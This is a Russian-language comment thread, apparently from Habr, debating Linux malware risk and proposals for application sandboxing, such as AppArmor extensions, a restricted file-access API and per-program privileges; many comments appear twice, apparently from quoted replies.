P.S. От себя замечу, что я хоть и использую Linux в жизни и на работе уже лет так 14, современные дистрибутивы, напичканные в нарушении принципа, сформулированного в книге Эви Немет — «Удобство всегда обратно пропорционально надежности/безопасности», всяческими регулярно меняющимися службами типа udev/d-bus/hal/и т.е., для меня являются тёмным лесом. Раньше диагностировать проблему было минутным делом, сейчас эти вроде бы облегчающие жизнь сервисы, в погоне за Windows/MacOs, на самом деле создают сложную для понимания, крайне нестабильную и ненадежную систему. И вот тут уже вполне вероятны вирусы, трояны и вообще всё, что угодно.
> сейчас пользователей и устройств, использующих Linux, многократно больше, чем их было у Windows, когда под неё уже существовали сотни и тысячи вирусов
Дело не в количестве, а в доле. То есть соотношении затрат на разработку вируса к возможному эффекту (скажем, числу машин в ботнете).
А так да, погоня за виндой это зря.
Дело не в количестве, а в доле. То есть соотношении затрат на разработку вируса к возможному эффекту (скажем, числу машин в ботнете).
А так да, погоня за виндой это зря.
Вот ваше P.S. сводит на нет первую же причину.
Нагромождение служб, подсистем и сервисов становится всё более хитрожопым. И разобраться в них становится всё сложнее. Темболее что они меняются раз в полтора года.
У меня на одной (из 10) системе cron без hald не работает. Каким местом это понять?
Нагромождение служб, подсистем и сервисов становится всё более хитрожопым. И разобраться в них становится всё сложнее. Темболее что они меняются раз в полтора года.
У меня на одной (из 10) системе cron без hald не работает. Каким местом это понять?
hald — да, странная штучка, так от неё и уходят. Фактически, лишний слой над udev
А сам udev — вполне определённая штука, ничего такого подозрительного. Вместо создания файлов в /dev руками создаёт их по событиям от ядра. Совершенно нормальная автоматизация (для чего компьютеры придумали) — зачем нужно заставлять админа делать что-то руками, если это стандартная рутинная операция?
А сам udev — вполне определённая штука, ничего такого подозрительного. Вместо создания файлов в /dev руками создаёт их по событиям от ядра. Совершенно нормальная автоматизация (для чего компьютеры придумали) — зачем нужно заставлять админа делать что-то руками, если это стандартная рутинная операция?
А мне очень нравится идея гугла, которую он реализовал в Android — каждое приложение запускается в отдельной песочнице, виртуальной машине Dalvik.
При этом вся надстройка гугла над ядром линукса, как я понял, может работать в том числе и под ядром BSD. Разве нет? Ведь надстройке все равно над чем она. И приложения пользователя это могут даже не ощутить, т.к. прослойка над ядром останется той же и Dalvik. Маневров для нарушения безопасности при такой структуре меньше.
При этом вся надстройка гугла над ядром линукса, как я понял, может работать в том числе и под ядром BSD. Разве нет? Ведь надстройке все равно над чем она. И приложения пользователя это могут даже не ощутить, т.к. прослойка над ядром останется той же и Dalvik. Маневров для нарушения безопасности при такой структуре меньше.
> При этом вся надстройка гугла над ядром линукса, как я понял, может работать в том числе и под ядром BSD. Разве нет? Ведь надстройке все равно над чем она. И приложения пользователя это могут даже не ощутить, т.к. прослойка над ядром останется той же и Dalvik. Маневров для нарушения безопасности при такой структуре меньше.
Так и тот же Debian есть на ядре FreeBSD.
Так и тот же Debian есть на ядре FreeBSD.
Да, но там нет песочницы для приложений, которая была бы одна, как для Linux основы, так и для BSD основы. А так, придется пересобирать пакеты.
Есть вот такой концепт: qubes-os.org/Architecture.html
Ну и, соответственно, он может быть реализован на базе другого дистрибутива, и, вероятно, ядра (во втором случае скорее всего потребуется использовать другую технологию виртуализации).
Вредоносное ПО на Linux. Дожились. Я еще помню так называемые «соревнования» по написанию вирусов на Linux, а теперь это становится угрозой.
Не хватает возможности создания таких профилей «на лету», без прав суперпользователя.Вот тут я бы с вами не согласился, ведь если создание (а значит и изменение) политик для приложения происходит с правами текущей учетной записи, то что мешает проникшему через уязвимость зловреду изменить эти политики?
В тексте есть ответ на этот вопрос.
1. Приложение может само себе урезать права без возможности вернуть обратно.
Если через уязвимость приложение будет взломано, то поднять права уже будет невозможно.
2. Приложение может быть запущено другим приложением, при запуске к приложению применится профиль с урезанными правами.
Ни родительский процесс, ни дочерний не смогут поднять права, т.е. опять же только одностороннее изменение, только в сторону уменьшения и только один раз.
3. Один процесс может изменять профиль привилегий другого процесса, в том числе и повышать привилегии, т.е. разрешать то что было запрещено. Список программ, которые могут так делать четко ограничен — это диалоги открытия/сохранения файлов (возможно добавятся еще какие-то программы), список может править только root, хранится он где-нибудь в /etc/apparmor/trusted_apps и не доступен ни на чтение ни на запись никому кроме root'а. Сами привилегированные приложения (для примера пусть это будут gtk-open-dialog и gtk-save-dialog) предельно просты, там просто нечего ломать, кода в них минимум.
Задачи такой программы:
— показать пользователю диалог
— передать приложению имя выбранного файла
— внести изменения в профиль приложения, добавив туда разрешение читать или писать выбранный файл
Сама такая программа (диалог) может быть огорожена своим профилем вообще от всего. Диалогу не надо ничего писать, не надо ничего читать, надо только получать содержимое директорий. Ломать там нечего, а если есть, то сделать все равно ничего не получится, т.к. сам диалог ограничен еще больше чем приложение вызвавшее его.
1. Приложение может само себе урезать права без возможности вернуть обратно.
Если через уязвимость приложение будет взломано, то поднять права уже будет невозможно.
2. Приложение может быть запущено другим приложением, при запуске к приложению применится профиль с урезанными правами.
Ни родительский процесс, ни дочерний не смогут поднять права, т.е. опять же только одностороннее изменение, только в сторону уменьшения и только один раз.
3. Один процесс может изменять профиль привилегий другого процесса, в том числе и повышать привилегии, т.е. разрешать то что было запрещено. Список программ, которые могут так делать четко ограничен — это диалоги открытия/сохранения файлов (возможно добавятся еще какие-то программы), список может править только root, хранится он где-нибудь в /etc/apparmor/trusted_apps и не доступен ни на чтение ни на запись никому кроме root'а. Сами привилегированные приложения (для примера пусть это будут gtk-open-dialog и gtk-save-dialog) предельно просты, там просто нечего ломать, кода в них минимум.
Задачи такой программы:
— показать пользователю диалог
— передать приложению имя выбранного файла
— внести изменения в профиль приложения, добавив туда разрешение читать или писать выбранный файл
Сама такая программа (диалог) может быть огорожена своим профилем вообще от всего. Диалогу не надо ничего писать, не надо ничего читать, надо только получать содержимое директорий. Ломать там нечего, а если есть, то сделать все равно ничего не получится, т.к. сам диалог ограничен еще больше чем приложение вызвавшее его.
Интерфейс создания профиля безопасности приложения из самого приложения
Нет смысла. Если приложение установлено, значит пользователь его рано или поздно запустит (количество «незапущенных» приложений досттаточно мало), следовательно, все разрешения для приложений будут в системе присутствовать. Тогда их лучше сформировать заранее (вместе с установкой) и запускать приложение уже с нужными правами. Вы ведь понимаете разницу между «запустить с нужными правами» и «запустить с правами по умолчанию и запросить права»?
Интерфейс для запуска приложения с указанным профилем
То есть я могу запростить для нового процесса профиль «покруче»? Если да — то это плохо, если нет — то и сейчас этого нельзя сделать. Или Ваше отличие только в том чтобы урезать ещё сильнее?
Возможность назначить приложению привилегии для редактирования профилей других приложения «на лету», т.е. изменения уже примененных профилей
Мухи отдельно, котлеты — отдельно. Зачем приложениям редактировать чьи-то профили? Пусть этим занимаются системные утилиты/приложения.
Шаблоны профилей, изменения в формате исполняемых файлов, возможно изменение пакетов
Мысль хорошая, но в Windows это не очень-то помогает (я про «предупредить пользователя о потенциальной опасности). Юзер вообще самая не доверенная часть системы :)
Такое чувство, что автор переносит на линукс свой опыт работы в виндовс, где без антивируса и фаервола трудно вздохнуть.
Ладно, пойдем по пунктам
1. Перекладывать безопасность на плечи разработчиков софта — занятие абсолютно бесполезное. Помните принцип «релизь чаще, релизь раньше»? Им руководствуется подавляющее большинство разработчиков, ничего из этого не выйдет.
2.ЗоопаркРазнообразие дистрибутивов и конфигураций все-таки играет и будет играть важную роль в безопасности, несмотря на уверения автора. Сложность использования уязвимости увеличивается пропорционально количеству дистрибутивов и их вариаций, соответственно, уменьшается отдача и итоговая прибыль. Это все составляет цену взлома и так просто уменьшить ее не получится.
3.Даже если Когда линукс займет подавляющую часть рынка и вирусописатели обратят свои взоры на него, усилить безопасность среднего дистрибутива будет достаточно тривиально, для этого хватит как древних средств (ulimit, chroot, noexec), так и более современных (acl, xattrs, selinux/и аналоги, виртуализация, в конце концов). И создать эту безопасность будет на порядок дешевле, чем обойти ее (п. 2). Закон меча и щита тут не сработает, так как небольшое улучшение в безопасности даст огромную фору перед вирусописателями.
Ладно, пойдем по пунктам
1. Перекладывать безопасность на плечи разработчиков софта — занятие абсолютно бесполезное. Помните принцип «релизь чаще, релизь раньше»? Им руководствуется подавляющее большинство разработчиков, ничего из этого не выйдет.
2.
3.
Вообще любые вопросы должны отсутствовать. Здесь нужно поступать в лучших традициях Linux — никаких сообщений, неправильные приложения просто не работают. Почему не работает? Изволь сам залезть в логи и разобраться. Не можешь/не хочешь? Значит, некомпетентен, не лезь и не запускай такое приложение — всё равно ты не сможешь с ним справиться.
В этом смысле управление Ubuntu из консоли близко к идеалу — если запустить команду без sudo, она либо выведет пустой экран в ответ, либо скажет «нет прав». Никаких вопросов типа «эта команда требует дополнительных привилегий, вы хотите их предоставить?» нет и не нужно.
В этом смысле управление Ubuntu из консоли близко к идеалу — если запустить команду без sudo, она либо выведет пустой экран в ответ, либо скажет «нет прав». Никаких вопросов типа «эта команда требует дополнительных привилегий, вы хотите их предоставить?» нет и не нужно.
>Интересно, а для Windows уже есть что-то подобное?
Да, под Windows есть что-то подобное, правда, немного иначе сделанное архитектурно. DefenseWall называется. Есть ещё GeSWall, но там используется «перенаправления» ака виртуализация, а у вас описана система на предустановленных правилах.
Да, под Windows есть что-то подобное, правда, немного иначе сделанное архитектурно. DefenseWall называется. Есть ещё GeSWall, но там используется «перенаправления» ака виртуализация, а у вас описана система на предустановленных правилах.
Конкретно эта технология в windows называется MIC, но я не представляю, как её настраивать.
То что я тут описываю — дополнения к существующему AppArmor.
Кстати, почему именно AppArmor? В TOMOYO Linux, например, есть некие движения в сторону настраиваемости (собственно, там нет предустановленных правил) и изменения политики от непривилегированного юзера.
Есть ещё идея совсем запретить приложению писать/читать любые файлы. Это можно будет сделать только через API, сомвещённое с диалоговыми окнами открытия/сохранения. Можно ещё создать API для чтения/сохранения своих конфигов без доступа к чужим. Главное, чтобы при этом внезапно windows не получился. )))
Отличная тема! У меня тоже есть какие-то идеи.
Идея правильная — любое ПО должно работать с минимальными привелегиями, а вот реализации — вроде SELinux/AppArmor глупые и неправильные. Ибо мне, как пользователю больше делать нечего, как ковыряться в 1000 конфигов для моих 1000 приложений. И править 1000 конфигов при переносе их к другому пользователю. Это уродливый, неуклюжий костыль. Нынешний Линукс на роль безопасной ОС не годится абсолютно.
Нужно поменять интерфейс взаимодействия приложения с ядром, не так как сейчас, что приложение может сделать open() на любом файле (по крайней мере с uid=0 это получится), и должно само угадывать, где в вашей системе хранятся логи/настройки/прочее, а сделать специальное API для доступа к логам/настройкам/пользовательским данным, вроде
openFile(File::PRIVATE_CONFIG, 'config1.cfg'), openFile(File::NEW_TEMPORARY_FILE), showOpenDialog()
Система сама решит, где хранить/создавать эти файлы и как их изолировать.
Сами данные разделить на виды: приватный конфиг (только приложение/библиотека имеет к нему доступ), shared configuration file, temporary file, private spool и т.д. Например, отправлять почту имеет право только подсистема mail, писать/читать логи — только подсистема syslog, и т.д. Если другая программа (например, log-viewer) хочет их прочесть — она получает у syslog разрешение на это. Ну и что касается пользовательских документов — приложение получает доступ только к явно выбранным пользователем документам. Причем ридеры/просмотрщики — только доступ по чтению.
Большинство приложений, нужных «пользователю-чайнику», успешно изолируются и не требуют доступа к логам/системным файлам: редакторы/рисовалки/мессенджеры/игры. Если игре надо установить какой-то навороченный видеодрайвер — она опять-же, не делает это сама а просит систему (которая ставит драйвера только из подписанного официального репозитория с возможностью отката при поломке). Прописаться в автозапуск/крон без явного согласия пользователя тоже нельзя.
Старые программы/wine-приложения получают каждое отдельную полноценную файловую систему с /bin, /usr, /var, /tmp пустым /home и т.д, и файлы пользователя как-то попадают/забираются из этой системы с его явного согласия.
Приложения, требующие расширенных прав (доступ к чужому конфигу, сети на нестандартных портах, чтение оглавления каталога, и т.д) должны явно получать разрешение на эти привилегии при первом запуске (установка программ — устаревший процесс, которого в будущих ОС не будет). Приложение, требующее расширенных прав, должно быть подписано ключом репозитория ОС (или юзер на свой страх и риск из командной строки дает ему эти привилегии).
Привилегии на изменение базовых компонентов системы вообще не должны ни под каким предлогом, даже ради спасения планеты. То есть система должны быть абсолютно несокрушимой, и в случае поломки восстанавливаться нажатием аппаратной кнопки (а сервисы по ремонту и лечению от вирусов могут благополучно закрываться, они больше не нужны).
Когда модель безопасности Unix (в основе которой лежит разделение привилегий по uid) создавалась, пользователь четко понимал что он делает — ls, rm, и так далее. Разделения на уровне «защитить пользователя от другого пользователя» было достаточно. Сейчас программы намного сложнее, их скачивают из интернета, и что они делают, никто не знает (без анализа бинарного кода, который может быть обфусцирован или зашифрован, например скайп). Потому разделять привилегии надо не на уровне uid, а на уровне отдельных программ/наборов данных. Существующая система уже не подходит.
Идея правильная — любое ПО должно работать с минимальными привелегиями, а вот реализации — вроде SELinux/AppArmor глупые и неправильные. Ибо мне, как пользователю больше делать нечего, как ковыряться в 1000 конфигов для моих 1000 приложений. И править 1000 конфигов при переносе их к другому пользователю. Это уродливый, неуклюжий костыль. Нынешний Линукс на роль безопасной ОС не годится абсолютно.
Нужно поменять интерфейс взаимодействия приложения с ядром, не так как сейчас, что приложение может сделать open() на любом файле (по крайней мере с uid=0 это получится), и должно само угадывать, где в вашей системе хранятся логи/настройки/прочее, а сделать специальное API для доступа к логам/настройкам/пользовательским данным, вроде
openFile(File::PRIVATE_CONFIG, 'config1.cfg'), openFile(File::NEW_TEMPORARY_FILE), showOpenDialog()
Система сама решит, где хранить/создавать эти файлы и как их изолировать.
Сами данные разделить на виды: приватный конфиг (только приложение/библиотека имеет к нему доступ), shared configuration file, temporary file, private spool и т.д. Например, отправлять почту имеет право только подсистема mail, писать/читать логи — только подсистема syslog, и т.д. Если другая программа (например, log-viewer) хочет их прочесть — она получает у syslog разрешение на это. Ну и что касается пользовательских документов — приложение получает доступ только к явно выбранным пользователем документам. Причем ридеры/просмотрщики — только доступ по чтению.
Большинство приложений, нужных «пользователю-чайнику», успешно изолируются и не требуют доступа к логам/системным файлам: редакторы/рисовалки/мессенджеры/игры. Если игре надо установить какой-то навороченный видеодрайвер — она опять-же, не делает это сама а просит систему (которая ставит драйвера только из подписанного официального репозитория с возможностью отката при поломке). Прописаться в автозапуск/крон без явного согласия пользователя тоже нельзя.
Старые программы/wine-приложения получают каждое отдельную полноценную файловую систему с /bin, /usr, /var, /tmp пустым /home и т.д, и файлы пользователя как-то попадают/забираются из этой системы с его явного согласия.
Приложения, требующие расширенных прав (доступ к чужому конфигу, сети на нестандартных портах, чтение оглавления каталога, и т.д) должны явно получать разрешение на эти привилегии при первом запуске (установка программ — устаревший процесс, которого в будущих ОС не будет). Приложение, требующее расширенных прав, должно быть подписано ключом репозитория ОС (или юзер на свой страх и риск из командной строки дает ему эти привилегии).
Привилегии на изменение базовых компонентов системы вообще не должны ни под каким предлогом, даже ради спасения планеты. То есть система должны быть абсолютно несокрушимой, и в случае поломки восстанавливаться нажатием аппаратной кнопки (а сервисы по ремонту и лечению от вирусов могут благополучно закрываться, они больше не нужны).
Когда модель безопасности Unix (в основе которой лежит разделение привилегий по uid) создавалась, пользователь четко понимал что он делает — ls, rm, и так далее. Разделения на уровне «защитить пользователя от другого пользователя» было достаточно. Сейчас программы намного сложнее, их скачивают из интернета, и что они делают, никто не знает (без анализа бинарного кода, который может быть обфусцирован или зашифрован, например скайп). Потому разделять привилегии надо не на уровне uid, а на уровне отдельных программ/наборов данных. Существующая система уже не подходит.
1. Про минимальные привилегии и создание нового API я написал комментарием выше.
2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.
Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами. Другим программам, которым можно писать этот файл, подсовываем хардлинк с более широкими правами.
2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.
Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами. Другим программам, которым можно писать этот файл, подсовываем хардлинк с более широкими правами.
> Ещё возникла идея. Если программе надо читать файл, но нельзя допустить, чтоб она его писала — подсовываем ей хардлинк с ограниченными правами.
Ох, вот вы опять пытаетесь все решить прикручиванием костылей к существующей системе. Надо вообще закрыть вызовы типа open(), и ввести новый API.
> 2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
Зачем мне, как пользователю, тратить свое время на установку? Мне это неинтересно. Я имею в виду, конечно десктопные приложения, на сервере штуки вроде apt-get install работают замечательно.
> 3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.
То, что Линукс исторически на это не рассчитан. Такой режим можно оставить только для совместимости со старым ПО, выделять каждому при запуске нового пользователя и отдельную виртуальную файловую систему. Опять же, возникает куча проблем, как дать этой программе ограниченный доступ к файлам и настройкам пользователя.
Ох, вот вы опять пытаетесь все решить прикручиванием костылей к существующей системе. Надо вообще закрыть вызовы типа open(), и ввести новый API.
> 2. Про ненужность установки — не совсем согласен. Смотря как это реализовано.
Зачем мне, как пользователю, тратить свое время на установку? Мне это неинтересно. Я имею в виду, конечно десктопные приложения, на сервере штуки вроде apt-get install работают замечательно.
> 3. Что мешает разделить ПО на уровне uid? Запускать под разными пользователями, но соединять с одним X-сервером, например.
То, что Линукс исторически на это не рассчитан. Такой режим можно оставить только для совместимости со старым ПО, выделять каждому при запуске нового пользователя и отдельную виртуальную файловую систему. Опять же, возникает куча проблем, как дать этой программе ограниченный доступ к файлам и настройкам пользователя.
Жил некогда Чжу, который учился убивать драконов. И отдал все, что имел, чтобы овладеть этим искусством. Через три года он достиг мастерства, но, увы, ему так и не представился случай проявить свое умение (Чжуан Цзы).
Стоит обратить внимание на RBAC. Правда это для пользователей, но идею можно оттуда взять.
08.02.2011 19:43 Атака на Linux-системы через запуск кода при вставке USB-накопителя
www.opennet.ru/opennews/art.shtml?num=29532
www.opennet.ru/opennews/art.shtml?num=29532
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Вредоносное ПО для GNU/Linux и борьба с ним